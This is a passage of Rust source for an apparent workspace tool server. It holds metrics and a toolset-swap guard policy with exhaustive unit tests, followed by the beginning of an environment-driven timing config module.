std::sync::LazyLock::new(|| {
register_int_counter_vec!(
"grok_workspace_toolset_swap_total",
"Session toolset installs and swaps, by trigger and guard state",
&["trigger", "turn_active", "in_flight"]
)
.unwrap()
});
/// Toolset swaps rejected by the turn-safety guards, by reason
/// (`turn_active` = RPC entry check, `turn_active_late` = post-resolve
/// re-check, `in_flight` = owner-rebind keep-old) and trigger.
pub(crate) static WORKSPACE_TOOLSET_SWAP_REJECTED_TOTAL: std::sync::LazyLock<IntCounterVec> =
std::sync::LazyLock::new(|| {
register_int_counter_vec!(
"grok_workspace_toolset_swap_rejected_total",
"Session toolset swaps rejected by the turn-safety guards, by reason and trigger",
&["reason", "trigger"]
)
.unwrap()
});
/// Rebinds (`session.bind` against an existing session) that carried a changed
/// explicit toolset and re-resolved it, by result. A steady `ok` stream is the
/// resume path correcting sessions that were created by metadata-less binds.
static WORKSPACE_BIND_REBIND_RERESOLVE_TOTAL: std::sync::LazyLock<IntCounterVec> =
std::sync::LazyLock::new(|| {
register_int_counter_vec!(
"grok_workspace_bind_rebind_reresolve_total",
"session.bind rebinds that re-resolved a changed explicit toolset, by result",
&["result"]
)
.unwrap()
});
/// Zero-init this module's metric families. See [`crate::init_metrics`].
pub(crate) fn init_metrics() {
const TRIGGERS: &[SwapTrigger] = &[
SwapTrigger::OwnerRebind,
SwapTrigger::UpdateRpc,
SwapTrigger::McpSnapshot,
SwapTrigger::HubTools,
SwapTrigger::Other,
];
for trigger in TRIGGERS {
for turn_active in ["true", "false"] {
for in_flight in ["true", "false"] {
WORKSPACE_TOOLSET_SWAP_TOTAL
.with_label_values(&[trigger.metric_label(), turn_active, in_flight])
.inc_by(0);
}
}
}
// Only these reason/trigger pairs are reachable: in-flight guards owner
// rebinds; the two turn-active guards fire on the update RPC.
for (reason, trigger) in [
(DeferReason::InFlightCalls, SwapTrigger::OwnerRebind),
(DeferReason::TurnActive, SwapTrigger::UpdateRpc),
(DeferReason::TurnActiveLate, SwapTrigger::UpdateRpc),
] {
WORKSPACE_TOOLSET_SWAP_REJECTED_TOTAL
.with_label_values(&[reason.metric_reason(), trigger.metric_label()])
.inc_by(0);
}
for result in ["skipped_externally_owned", "ok", "error"] {
WORKSPACE_BIND_REBIND_RERESOLVE_TOTAL
.with_label_values(&[result])
.inc_by(0);
}
}
/// Record a toolset install/swap on [`WORKSPACE_TOOLSET_SWAP_TOTAL`],
/// stamping the session's turn/in-flight state at swap time.
pub(crate) fn record_toolset_swap(tracker: &ActivityTracker, trigger: &str, session_id: &str) {
let turn_active = bool_label(tracker.is_turn_active(session_id));
let in_flight = bool_label(tracker.session_active_tool_calls(session_id) > 0);
WORKSPACE_TOOLSET_SWAP_TOTAL
.with_label_values(&[trigger, turn_active, in_flight])
.inc();
}
fn bool_label(v: bool) -> &'static str {
if v { "true" } else { "false" }
}
/// What initiated a toolset swap attempt. The trigger fixes both the metric
/// `trigger` label and the guard set the policy applies (see the module table).
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub(crate) enum SwapTrigger {
/// Hub `session.bind` against an existing session that carried a changed
/// explicit toolset (`WorkspaceHandle::rebind_existing_hub_session`).
OwnerRebind,
/// The `workspace.update_tool_config` RPC.
UpdateRpc,
/// `re_resolve_all_sessions` after an MCP snapshot change.
McpSnapshot,
/// `re_resolve_all_sessions` after a remote tools change/notification.
HubTools,
/// `re_resolve_all_sessions` from an unrecognized source (test callers
/// only today). Snapshot-rebuild policy, `other` metric label.
Other,
}
impl SwapTrigger {
pub(crate) fn from_rebuild_source(source: &str) -> Self {
match source {
"mcp_snapshot_changed" => Self::McpSnapshot,
"hub_tools_changed" | "hub_notification" => Self::HubTools,
_ => Self::Other,
}
}
/// The `trigger` label on [`WORKSPACE_TOOLSET_SWAP_TOTAL`] and
/// [`WORKSPACE_TOOLSET_SWAP_REJECTED_TOTAL`]. Dashboards depend on these
/// exact values.
pub(crate) fn metric_label(self) -> &'static str {
match self {
Self::OwnerRebind => "owner_rebind",
Self::UpdateRpc => "update_tool_config",
Self::McpSnapshot => "mcp_snapshot",
Self::HubTools => "hub_tools",
Self::Other => "other",
}
}
/// Whether the apply path re-evaluates post-resolve, pre-install. Only the
/// update RPC: a turn can start mid-resolve (turn hooks are lock-free);
/// owner rebinds must answer inside the server's ack budget, so they don't.
pub(crate) fn rechecks_after_resolve(self) -> bool {
self == Self::UpdateRpc
}
}
/// Why a swap was skipped (nothing resolved, toolset and fingerprint kept).
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub(crate) enum SkipReason {
/// The toolset `Terminal` is not the session-owned backend (local/shell
/// bind): a rebuild would detach tools from the shell's live task table.
ExternallyOwned,
}
/// Why a swap was deferred (existing toolset kept; a later attempt applies).
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub(crate) enum DeferReason {
/// Owner rebind arrived while the session had tool calls in flight, with
/// either an `explicit → different-explicit` change or a stale-heal
/// identical re-apply.
InFlightCalls,
/// The session's turn is active and the config differs (update-RPC entry
/// check); retryable at the turn boundary.
TurnActive,
/// [`Self::TurnActive`] detected by the post-resolve re-check: the turn
/// started during the re-resolve and the resolved toolset was discarded.
TurnActiveLate,
}
impl DeferReason {
/// The `reason` label on [`WORKSPACE_TOOLSET_SWAP_REJECTED_TOTAL`].
pub(crate) fn metric_reason(self) -> &'static str {
match self {
Self::InFlightCalls => "in_flight",
Self::TurnActive => "turn_active",
Self::TurnActiveLate => "turn_active_late",
}
}
}
/// What a trigger should do with its candidate config, per the module table.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
#[must_use = "a non-Apply decision means the config must NOT be installed"]
pub(crate) enum SwapDecision {
/// Resolve and install the candidate config.
Apply,
/// Identical fingerprint: the live toolset already reflects the candidate.
Reuse,
/// Deliberate skip: leave toolset AND fingerprint untouched.
Skip(SkipReason),
/// Keep the existing toolset for now; a later attempt applies.
Defer(DeferReason),
}
/// How the candidate config's fingerprint relates to the session's stored one.
/// Produced under a single lock acquisition (see [`classify`]).
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
enum BindFingerprintTransition {
/// Candidate fingerprint equals the stored one.
Unchanged,
/// Stored fingerprint is `None` (default resolution) and the candidate
/// differs.
FromDefault,
/// Stored fingerprint is explicit and the candidate differs.
FromExplicit,
}
/// Classify `candidate` against the stored bind fingerprint in one poison-safe
/// lock acquisition, so the decision cannot straddle a concurrent
/// fingerprint write (`set_if_unset` runs outside `update_lock`).
fn classify(
stored: &std::sync::Mutex<Option<serde_json::Value>>,
candidate: Option<&serde_json::Value>,
) -> BindFingerprintTransition {
let guard = stored.lock().unwrap_or_else(|e| e.into_inner());
if guard.as_ref() == candidate {
BindFingerprintTransition::Unchanged
} else if guard.is_some() {
BindFingerprintTransition::FromExplicit
} else {
BindFingerprintTransition::FromDefault
}
}
/// One coherent read (under `update_lock`) of the session state the policy
/// keys on. Turn/in-flight reads are tracker-side lock-free, so a decision
/// can go stale during a long resolve — see `rechecks_after_resolve`.
#[derive(Debug, Clone, Copy)]
pub(crate) struct SessionSnapshot {
/// `None` = no candidate config: an in-place rebuild of the session's
/// current baseline (snapshot-driven triggers), never Reuse-exempt.
transition: Option<BindFingerprintTransition>,
turn_active: bool,
in_flight_calls: u32,
toolset_terminal_session_owned: bool,
/// The last snapshot-driven rebuild failed and kept a stale toolset
/// ([`WorkspaceSession::stale_resolve`]): an identical fingerprint does
/// not prove the live toolset is current, only that the *config* is.
stale_resolve: bool,
}
impl SessionSnapshot {
/// Capture against a candidate bind-config fingerprint (`None` = default
/// resolution) — the owner-rebind and update-RPC triggers.
pub(crate) async fn capture(
session: &WorkspaceSession,
tracker: &ActivityTracker,
candidate_fingerprint: Option<&serde_json::Value>,
) -> Self {
let transition = classify(&session.bind_tool_config_fingerprint, candidate_fingerprint);
Self::with_transition(session, tracker, Some(transition)).await
}
/// Capture for an in-place rebuild of the session's current baseline (the
/// snapshot-driven triggers): no candidate config, so no fingerprint
/// transition to exempt on.
pub(crate) async fn capture_for_rebuild(
session: &WorkspaceSession,
tracker: &ActivityTracker,
) -> Self {
Self::with_transition(session, tracker, None).await
}
async fn with_transition(
session: &WorkspaceSession,
tracker: &ActivityTracker,
transition: Option<BindFingerprintTransition>,
) -> Self {
let session_id = session.session_id();
Self {
transition,
turn_active: tracker.is_turn_active(session_id),
in_flight_calls: tracker.session_active_tool_calls(session_id),
toolset_terminal_session_owned: session.toolset_terminal_is_session_owned().await,
stale_resolve: session.stale_resolve(),
}
}
/// Tool calls in flight at capture time.
pub(crate) fn in_flight_calls(&self) -> u32 {
self.in_flight_calls
}
}
/// The toolset-swap guard policy. Stateless: the whole table lives in
/// [`Self::evaluate`].
pub(crate) struct SwapPolicy;
impl SwapPolicy {
/// Decide what `trigger` should do with its candidate, per the module
/// table. Pure function of the snapshot — callers act on the decision
/// under the same `update_lock` hold the snapshot was captured under.
pub(crate) fn evaluate(snap: &SessionSnapshot, trigger: SwapTrigger) -> SwapDecision {
use BindFingerprintTransition::{FromExplicit, Unchanged};
match (trigger, snap.transition) {
(SwapTrigger::UpdateRpc | SwapTrigger::OwnerRebind, Some(Unchanged))
if !snap.stale_resolve =>
{
SwapDecision::Reuse
}
(
SwapTrigger::McpSnapshot | SwapTrigger::HubTools | SwapTrigger::Other,
Some(Unchanged),
) => SwapDecision::Reuse,
(SwapTrigger::OwnerRebind, Some(FromExplicit | Unchanged))
if snap.in_flight_calls > 0 =>
{
SwapDecision::Defer(DeferReason::InFlightCalls)
}
(SwapTrigger::OwnerRebind, _) if !snap.toolset_terminal_session_owned => {
SwapDecision::Skip(SkipReason::ExternallyOwned)
}
(SwapTrigger::OwnerRebind, _) => SwapDecision::Apply,
(SwapTrigger::UpdateRpc, _) if snap.turn_active => {
SwapDecision::Defer(DeferReason::TurnActive)
}
(SwapTrigger::UpdateRpc, _) if !snap.toolset_terminal_session_owned => {
SwapDecision::Skip(SkipReason::ExternallyOwned)
}
(SwapTrigger::UpdateRpc, _) => SwapDecision::Apply,
(SwapTrigger::McpSnapshot | SwapTrigger::HubTools | SwapTrigger::Other, _)
if !snap.toolset_terminal_session_owned =>
{
SwapDecision::Skip(SkipReason::ExternallyOwned)
}
(SwapTrigger::McpSnapshot | SwapTrigger::HubTools | SwapTrigger::Other, _) => {
SwapDecision::Apply
}
}
}
}
/// What acting on a [`SwapDecision`] ultimately did — the key of
/// [`record_swap_decision`]. No `Reused` action: a reuse changes nothing
/// and no metric family counts it.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub(crate) enum SwapAction {
/// [`SwapDecision::Skip`] honored.
Skipped(SkipReason),
/// [`SwapDecision::Defer`] honored (existing toolset kept).
Deferred(DeferReason),
/// [`SwapDecision::Apply`] succeeded: toolset resolved and installed.
Applied,
/// [`SwapDecision::Apply`] failed: the re-resolve errored, existing kept.
ApplyFailed,
}
/// The single chokepoint all three swap metric families emit from (swap
/// total on `Applied`, rejected total on `Deferred`, rebind-reresolve on
/// owner-rebind results), so label values cannot drift per call site.
pub(crate) fn record_swap_decision(
tracker: &ActivityTracker,
trigger: SwapTrigger,
session_id: &str,
action: SwapAction,
) {
match action {
SwapAction::Deferred(reason) => {
WORKSPACE_TOOLSET_SWAP_REJECTED_TOTAL
.with_label_values(&[reason.metric_reason(), trigger.metric_label()])
.inc();
}
SwapAction::Skipped(SkipReason::ExternallyOwned) => {
if trigger == SwapTrigger::OwnerRebind {
WORKSPACE_BIND_REBIND_RERESOLVE_TOTAL
.with_label_values(&["skipped_externally_owned"])
.inc();
}
}
SwapAction::Applied => {
record_toolset_swap(tracker, trigger.metric_label(), session_id);
if trigger == SwapTrigger::OwnerRebind {
WORKSPACE_BIND_REBIND_RERESOLVE_TOTAL
.with_label_values(&["ok"])
.inc();
}
}
SwapAction::ApplyFailed => {
if trigger == SwapTrigger::OwnerRebind {
WORKSPACE_BIND_REBIND_RERESOLVE_TOTAL
.with_label_values(&["error"])
.inc();
}
}
}
}
#[cfg(test)]
mod tests {
use super::*;
fn snap(
transition: Option<BindFingerprintTransition>,
turn_active: bool,
in_flight_calls: u32,
owned: bool,
stale_resolve: bool,
) -> SessionSnapshot {
SessionSnapshot {
transition,
turn_active,
in_flight_calls,
toolset_terminal_session_owned: owned,
stale_resolve,
}
}
const ALL_TRIGGERS: [SwapTrigger; 5] = [
SwapTrigger::OwnerRebind,
SwapTrigger::UpdateRpc,
SwapTrigger::McpSnapshot,
SwapTrigger::HubTools,
SwapTrigger::Other,
];
const ALL_TRANSITIONS: [Option<BindFingerprintTransition>; 4] = [
Some(BindFingerprintTransition::Unchanged),
Some(BindFingerprintTransition::FromDefault),
Some(BindFingerprintTransition::FromExplicit),
None,
];
/// Spec mirror of the module decision table, maintained independently of
/// [`SwapPolicy::evaluate`].
fn expected_decision(
trigger: SwapTrigger,
transition: Option<BindFingerprintTransition>,
turn_active: bool,
in_flight_calls: u32,
owned: bool,
stale_resolve: bool,
) -> SwapDecision {
if transition == Some(BindFingerprintTransition::Unchanged)
&& !(matches!(trigger, SwapTrigger::UpdateRpc | SwapTrigger::OwnerRebind)
&& stale_resolve)
{
return SwapDecision::Reuse;
}
match trigger {
SwapTrigger::OwnerRebind => {
if matches!(
transition,
Some(
BindFingerprintTransition::FromExplicit
| BindFingerprintTransition::Unchanged
)
) && in_flight_calls > 0
{
SwapDecision::Defer(DeferReason::InFlightCalls)
} else if !owned {
SwapDecision::Skip(SkipReason::ExternallyOwned)
} else {
SwapDecision::Apply
}
}
SwapTrigger::UpdateRpc => {
if turn_active {
SwapDecision::Defer(DeferReason::TurnActive)
} else if !owned {
SwapDecision::Skip(SkipReason::ExternallyOwned)
} else {
SwapDecision::Apply
}
}
SwapTrigger::McpSnapshot | SwapTrigger::HubTools | SwapTrigger::Other => {
if !owned {
SwapDecision::Skip(SkipReason::ExternallyOwned)
} else {
SwapDecision::Apply
}
}
}
}
#[test]
fn evaluate_matches_decision_table_over_full_matrix() {
for trigger in ALL_TRIGGERS {
for transition in ALL_TRANSITIONS {
for turn_active in [false, true] {
for in_flight_calls in [0u32, 2] {
for owned in [true, false] {
for stale_resolve in [false, true] {
let got = SwapPolicy::evaluate(
&snap(
transition,
turn_active,
in_flight_calls,
owned,
stale_resolve,
),
trigger,
);
let expected = expected_decision(
trigger,
transition,
turn_active,
in_flight_calls,
owned,
stale_resolve,
);
assert_eq!(
got, expected,
"trigger={trigger:?} transition={transition:?} \
turn_active={turn_active} in_flight={in_flight_calls} \
owned={owned} stale_resolve={stale_resolve}"
);
}
}
}
}
}
}
}
#[test]
fn identical_fingerprint_reuses_regardless_of_gates() {
for trigger in ALL_TRIGGERS {
let decision = SwapPolicy::evaluate(
&snap(
Some(BindFingerprintTransition::Unchanged),
true,
3,
false,
false,
),
trigger,
);
assert_eq!(decision, SwapDecision::Reuse, "trigger={trigger:?}");
}
}
#[test]
fn update_rpc_identical_reapply_recovers_after_failed_rebuild() {
let identical = Some(BindFingerprintTransition::Unchanged);
assert_eq!(
SwapPolicy::evaluate(
&snap(identical, false, 0, true, true),
SwapTrigger::UpdateRpc
),
SwapDecision::Apply,
"idle + session-owned: the identical re-apply repairs the stale toolset"
);
assert_eq!(
SwapPolicy::evaluate(
&snap(identical, true, 0, true, true),
SwapTrigger::UpdateRpc
),
SwapDecision::Defer(DeferReason::TurnActive),
"the recovery apply is turn-gated like any mutation"
);
assert_eq!(
SwapPolicy::evaluate(
&snap(identical, false, 0, false, true),
SwapTrigger::UpdateRpc
),
SwapDecision::Skip(SkipReason::ExternallyOwned),
"an externally-owned toolset cannot be rebuilt, stale or not"
);
for trigger in [
SwapTrigger::McpSnapshot,
SwapTrigger::HubTools,
SwapTrigger::Other,
] {
assert_eq!(
SwapPolicy::evaluate(&snap(identical, false, 0, true, true), trigger),
SwapDecision::Reuse,
"trigger={trigger:?}: snapshot triggers carry no recovery lever"
);
}
}
#[test]
fn owner_rebind_identical_reapply_recovers_after_failed_rebuild() {
let identical = Some(BindFingerprintTransition::Unchanged);
assert_eq!(
SwapPolicy::evaluate(
&snap(identical, false, 0, true, true),
SwapTrigger::OwnerRebind
),
SwapDecision::Apply,
"a reconnect's identical rebind heals the stale toolset"
);
assert_eq!(
SwapPolicy::evaluate(
&snap(identical, false, 2, true, true),
SwapTrigger::OwnerRebind
),
SwapDecision::Defer(DeferReason::InFlightCalls),
"the heal defers while tool calls are in flight"
);
assert_eq!(
SwapPolicy::evaluate(
&snap(identical, false, 0, false, true),
SwapTrigger::OwnerRebind
),
SwapDecision::Skip(SkipReason::ExternallyOwned),
"an externally-owned toolset cannot be rebuilt, stale or not"
);
assert_eq!(
SwapPolicy::evaluate(
&snap(identical, false, 0, true, false),
SwapTrigger::OwnerRebind
),
SwapDecision::Reuse,
"without the stale marker the identical rebind stays a no-op reuse"
);
}
#[test]
fn owner_rebind_from_default_applies_mid_turn_with_calls_in_flight() {
let decision = SwapPolicy::evaluate(
&snap(
Some(BindFingerprintTransition::FromDefault),
true,
2,
true,
false,
),
SwapTrigger::OwnerRebind,
);
assert_eq!(decision, SwapDecision::Apply);
}
#[test]
fn owner_rebind_in_flight_defer_wins_over_external_ownership() {
let decision = SwapPolicy::evaluate(
&snap(
Some(BindFingerprintTransition::FromExplicit),
false,
1,
false,
false,
),
SwapTrigger::OwnerRebind,
);
assert_eq!(decision, SwapDecision::Defer(DeferReason::InFlightCalls));
}
#[test]
fn update_rpc_turn_gate_wins_over_external_ownership() {
let decision = SwapPolicy::evaluate(
&snap(
Some(BindFingerprintTransition::FromDefault),
true,
0,
false,
false,
),
SwapTrigger::UpdateRpc,
);
assert_eq!(decision, SwapDecision::Defer(DeferReason::TurnActive));
}
#[test]
fn owner_rebind_ignores_turn_active() {
let decision = SwapPolicy::evaluate(
&snap(
Some(BindFingerprintTransition::FromExplicit),
true,
0,
true,
false,
),
SwapTrigger::OwnerRebind,
);
assert_eq!(decision, SwapDecision::Apply);
}
#[test]
fn snapshot_rebuilds_ignore_turn_and_in_flight_gates() {
for trigger in [
SwapTrigger::McpSnapshot,
SwapTrigger::HubTools,
SwapTrigger::Other,
] {
assert_eq!(
SwapPolicy::evaluate(&snap(None, true, 4, true, false), trigger),
SwapDecision::Apply,
"trigger={trigger:?}"
);
assert_eq!(
SwapPolicy::evaluate(&snap(None, true, 4, false, false), trigger),
SwapDecision::Skip(SkipReason::ExternallyOwned),
"trigger={trigger:?}"
);
}
}
#[test]
fn metric_labels_are_locked() {
assert_eq!(SwapTrigger::OwnerRebind.metric_label(), "owner_rebind");
assert_eq!(SwapTrigger::UpdateRpc.metric_label(), "update_tool_config");
assert_eq!(SwapTrigger::McpSnapshot.metric_label(), "mcp_snapshot");
assert_eq!(SwapTrigger::HubTools.metric_label(), "hub_tools");
assert_eq!(SwapTrigger::Other.metric_label(), "other");
assert_eq!(DeferReason::InFlightCalls.metric_reason(), "in_flight");
assert_eq!(DeferReason::TurnActive.metric_reason(), "turn_active");
assert_eq!(
DeferReason::TurnActiveLate.metric_reason(),
"turn_active_late"
);
}
#[test]
fn only_update_rpc_rechecks_after_resolve() {
for trigger in ALL_TRIGGERS {
assert_eq!(
trigger.rechecks_after_resolve(),
trigger == SwapTrigger::UpdateRpc,
"trigger={trigger:?}"
);
}
}
#[test]
fn rebuild_source_mapping_matches_legacy_labels() {
assert_eq!(
SwapTrigger::from_rebuild_source("mcp_snapshot_changed"),
SwapTrigger::McpSnapshot
);
assert_eq!(
SwapTrigger::from_rebuild_source("hub_tools_changed"),
SwapTrigger::HubTools
);
assert_eq!(
SwapTrigger::from_rebuild_source("hub_notification"),
SwapTrigger::HubTools
);
assert_eq!(
SwapTrigger::from_rebuild_source("test_preserves_feed"),
SwapTrigger::Other
);
}
#[test]
fn classify_is_poison_safe() {
let stored: std::sync::Arc<std::sync::Mutex<Option<serde_json::Value>>> =
std::sync::Arc::new(std::sync::Mutex::new(Some(serde_json::json!({"a": 1}))));
let poisoner = stored.clone();
let _ = std::thread::spawn(move || {
let _guard = poisoner.lock().unwrap();
panic!("poison the fingerprint lock");
})
.join();
assert!(stored.is_poisoned(), "precondition: the lock is poisoned");
let same = serde_json::json!({"a": 1});
let other = serde_json::json!({"b": 2});
assert_eq!(
classify(&stored, Some(&same)),
BindFingerprintTransition::Unchanged
);
assert_eq!(
classify(&stored, Some(&other)),
BindFingerprintTransition::FromExplicit
);
assert_eq!(
classify(&stored, None),
BindFingerprintTransition::FromExplicit
);
}
#[test]
fn classify_from_default_transitions() {
let stored = std::sync::Mutex::new(None);
let candidate = serde_json::json!({"a": 1});
assert_eq!(
classify(&stored, Some(&candidate)),
BindFingerprintTransition::FromDefault
);
assert_eq!(
classify(&stored, None),
BindFingerprintTransition::Unchanged
);
}
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,628 @@
//! Runtime-tunable timing/threshold config for the workspace tool server.
//!
//! All values are read once at startup from `KIGI_WORKSPACE_*` environment
//! variables via [`StatusConfig::from_env`]. Unset or unparseable variables
//! fall back to the documented defaults (with a `warn!` on parse failure), so
//! construction never fails.
use std::str::FromStr;
use std::time::Duration;
// ── Default timing/threshold values ──────────────────────────────────────
// Single source of truth for the `StatusConfig::default()` values and the
// documented fallbacks for each `KIGI_WORKSPACE_*` env var.
/// Default interval between status/heartbeat emissions.
const DEFAULT_HEARTBEAT_SECS: u64 = 30;
/// Default transport keepalive interval. Should exceed `heartbeat`.
const DEFAULT_KEEPALIVE_SECS: u64 = 60;
/// Default WebSocket keepalive ping cadence for the server SDK connection.
const DEFAULT_WS_PING_SECS: u64 = 30;
/// Default number of consecutive hub reconnect failures before warning.
const DEFAULT_HUB_WARN_THRESHOLD: u32 = 5;
/// Default base delay (ms) for exponential backoff on failed hub sends.
const DEFAULT_HUB_BACKOFF_BASE_MS: u64 = 100;
/// Default idle window (s) after which an inactive session is pruned. Kept
/// aligned with the sandbox service's idle-hibernate grace.
const DEFAULT_SESSION_IDLE_PRUNE_SECS: u64 = 1800;
/// Default max time (s) to wait for in-flight work to drain on shutdown.
const DEFAULT_DRAIN_TIMEOUT_SECS: u64 = 30;
/// Default per-call timeout (s) for agent gRPC RPCs.
const DEFAULT_AGENT_RPC_TIMEOUT_SECS: u64 = 30;
/// Default timeout (s) for establishing an agent connection.
const DEFAULT_AGENT_CONNECT_TIMEOUT_SECS: u64 = 5;
/// Default preview-activity withhold window. Sourced from the tracker's
/// `PREVIEW_ACTIVITY_WINDOW_MS` so the two can't drift.
const DEFAULT_PREVIEW_ACTIVITY_WINDOW_MS: u64 = crate::activity::PREVIEW_ACTIVITY_WINDOW_MS;
/// Default preview-activity scrape cadence. Must stay below the withhold window.
const DEFAULT_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS: u64 = 10_000;
/// Smallest window that still leaves room for a strictly-smaller scrape; only a
/// broken config reaches it (the normal window is 60s).
const MIN_PREVIEW_ACTIVITY_WINDOW_MS: u64 = 2;
/// Scrape-interval floor; `0` would busy-loop the scraper.
const MIN_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS: u64 = 1;
/// Tunable timing/threshold constants for the workspace tool server.
#[derive(Debug, Clone)]
pub struct StatusConfig {
/// Interval between status/heartbeat emissions.
pub heartbeat: Duration,
/// Transport keepalive interval. Should exceed `heartbeat`.
pub keepalive: Duration,
/// WebSocket keepalive ping cadence for the server SDK connection.
pub ws_ping: Duration,
/// Reconnect backoff schedule for the server SDK connection. `None` leaves
/// the SDK's built-in default exponential schedule in place.
pub ws_reconnect_backoff: Option<Vec<Duration>>,
/// Number of consecutive server reconnect failures before warning.
pub hub_warn_threshold: u32,
/// Base delay for exponential backoff on failed server event-notification sends.
pub hub_backoff_base: Duration,
/// Idle duration after which an inactive session is pruned.
pub session_idle_prune: Duration,
/// Legacy single-phase drain timeout (`KIGI_WORKSPACE_DRAIN_TIMEOUT_SECS`),
/// retained for compatibility; the SIGTERM and server-evict paths now use the
/// two-phase drain bounded by `KIGI_WORKSPACE_TERMINATION_GRACE_MS`.
pub drain_timeout: Duration,
/// Per-call timeout for agent RPCs.
pub agent_rpc_timeout: Duration,
/// Timeout for establishing an agent connection.
pub agent_connect_timeout: Duration,
/// Opt-in foreground-only idle (`KIGI_WORKSPACE_IDLE_IGNORE_BACKGROUND_TASKS`);
/// requires the literal `"true"` — other spellings fall back to this default.
pub idle_ignores_background: bool,
/// Recent preview-proxy traffic withholds idle for this window
/// (`KIGI_WORKSPACE_PREVIEW_ACTIVITY_WINDOW_MS`).
pub preview_activity_window: Duration,
/// Cadence at which the preview-activity scraper polls the proxy
/// (`KIGI_WORKSPACE_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS`); kept strictly
/// below `preview_activity_window` by [`validate`](Self::validate).
pub preview_activity_scrape_interval: Duration,
/// True when this container booted via the sandbox restore path, which
/// injects `KIGI_SESSION_RESTORED=true`; a first boot never does.
pub session_restored: bool,
/// True when restore injects `KIGI_REVIVE_SCRIPT_CONFIGURED=true` (launchable
/// revive configured); unset on first boot and non-launchable restores.
pub revive_script_configured: bool,
}
impl Default for StatusConfig {
fn default() -> Self {
Self {
heartbeat: Duration::from_secs(DEFAULT_HEARTBEAT_SECS),
keepalive: Duration::from_secs(DEFAULT_KEEPALIVE_SECS),
ws_ping: Duration::from_secs(DEFAULT_WS_PING_SECS),
ws_reconnect_backoff: None,
hub_warn_threshold: DEFAULT_HUB_WARN_THRESHOLD,
hub_backoff_base: Duration::from_millis(DEFAULT_HUB_BACKOFF_BASE_MS),
session_idle_prune: Duration::from_secs(DEFAULT_SESSION_IDLE_PRUNE_SECS),
drain_timeout: Duration::from_secs(DEFAULT_DRAIN_TIMEOUT_SECS),
agent_rpc_timeout: Duration::from_secs(DEFAULT_AGENT_RPC_TIMEOUT_SECS),
agent_connect_timeout: Duration::from_secs(DEFAULT_AGENT_CONNECT_TIMEOUT_SECS),
idle_ignores_background: false,
preview_activity_window: Duration::from_millis(DEFAULT_PREVIEW_ACTIVITY_WINDOW_MS),
preview_activity_scrape_interval: Duration::from_millis(
DEFAULT_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS,
),
session_restored: false,
revive_script_configured: false,
}
}
}
impl StatusConfig {
/// Populate from `KIGI_WORKSPACE_*`. Unset or unparseable vars fall
/// back to the default with a `warn!`. Never fails.
pub fn from_env() -> Self {
let defaults = Self::default();
let (agent_rpc, agent_connect) = Self::agent_timeouts_from_env();
let mut cfg = Self {
heartbeat: secs_or("KIGI_WORKSPACE_HEARTBEAT_SECS", defaults.heartbeat),
keepalive: secs_or("KIGI_WORKSPACE_KEEPALIVE_SECS", defaults.keepalive),
ws_ping: secs_or("KIGI_WORKSPACE_WS_PING_SECS", defaults.ws_ping),
ws_reconnect_backoff: backoff_schedule_from_env(
"KIGI_WORKSPACE_WS_RECONNECT_BACKOFF_MS",
),
hub_warn_threshold: parse_or(
"KIGI_WORKSPACE_HUB_WARN_THRESHOLD",
defaults.hub_warn_threshold,
),
hub_backoff_base: ms_or(
"KIGI_WORKSPACE_HUB_BACKOFF_BASE_MS",
defaults.hub_backoff_base,
),
session_idle_prune: secs_or(
"KIGI_WORKSPACE_SESSION_IDLE_PRUNE_SECS",
defaults.session_idle_prune,
),
drain_timeout: secs_or("KIGI_WORKSPACE_DRAIN_TIMEOUT_SECS", defaults.drain_timeout),
agent_rpc_timeout: agent_rpc,
agent_connect_timeout: agent_connect,
idle_ignores_background: parse_or(
"KIGI_WORKSPACE_IDLE_IGNORE_BACKGROUND_TASKS",
defaults.idle_ignores_background,
),
preview_activity_window: ms_or(
"KIGI_WORKSPACE_PREVIEW_ACTIVITY_WINDOW_MS",
defaults.preview_activity_window,
),
preview_activity_scrape_interval: ms_or(
"KIGI_WORKSPACE_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS",
defaults.preview_activity_scrape_interval,
),
session_restored: std::env::var("KIGI_SESSION_RESTORED").as_deref() == Ok("true"),
revive_script_configured: std::env::var("KIGI_REVIVE_SCRIPT_CONFIGURED").as_deref()
== Ok("true"),
};
cfg.validate();
cfg
}
/// Read only the agent gRPC `(request, connect)` timeouts from the
/// environment, without parsing or validating the rest of the config.
///
/// Used by the btrfs delegate's env-based construction path, which has no
/// `StatusConfig` in scope; reading just these two vars avoids re-running
/// [`validate`](Self::validate) (and its possible duplicate `warn!`).
pub fn agent_timeouts_from_env() -> (Duration, Duration) {
let defaults = Self::default();
const RPC_VAR: &str = "KIGI_WORKSPACE_AGENT_RPC_TIMEOUT_SECS";
const CONNECT_VAR: &str = "KIGI_WORKSPACE_AGENT_CONNECT_TIMEOUT_SECS";
(
nonzero_secs_or(
RPC_VAR,
parse_or(RPC_VAR, defaults.agent_rpc_timeout.as_secs()),
defaults.agent_rpc_timeout,
),
nonzero_secs_or(
CONNECT_VAR,
parse_or(CONNECT_VAR, defaults.agent_connect_timeout.as_secs()),
defaults.agent_connect_timeout,
),
)
}
/// Warn on (and, where load-bearing, repair) inconsistent values.
///
/// `keepalive` can't be validated against the server's idle window (unknown
/// here), so it only warns. The preview scraper, however, must run strictly
/// more often than the withhold window (else the withhold lapses between
/// scrapes) and never at a zero interval (which would busy-loop it), so any
/// misconfiguration is repaired into `1ms <= scrape < window`.
fn validate(&mut self) {
if self.keepalive <= self.heartbeat {
tracing::warn!(
keepalive = ?self.keepalive,
heartbeat = ?self.heartbeat,
"KIGI_WORKSPACE keepalive <= heartbeat; transport may time out between heartbeats"
);
}
let min_scrape = Duration::from_millis(MIN_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS);
let window = self
.preview_activity_window
.max(Duration::from_millis(MIN_PREVIEW_ACTIVITY_WINDOW_MS));
let scrape = self
.preview_activity_scrape_interval
.clamp(min_scrape, window - min_scrape);
if window != self.preview_activity_window || scrape != self.preview_activity_scrape_interval
{
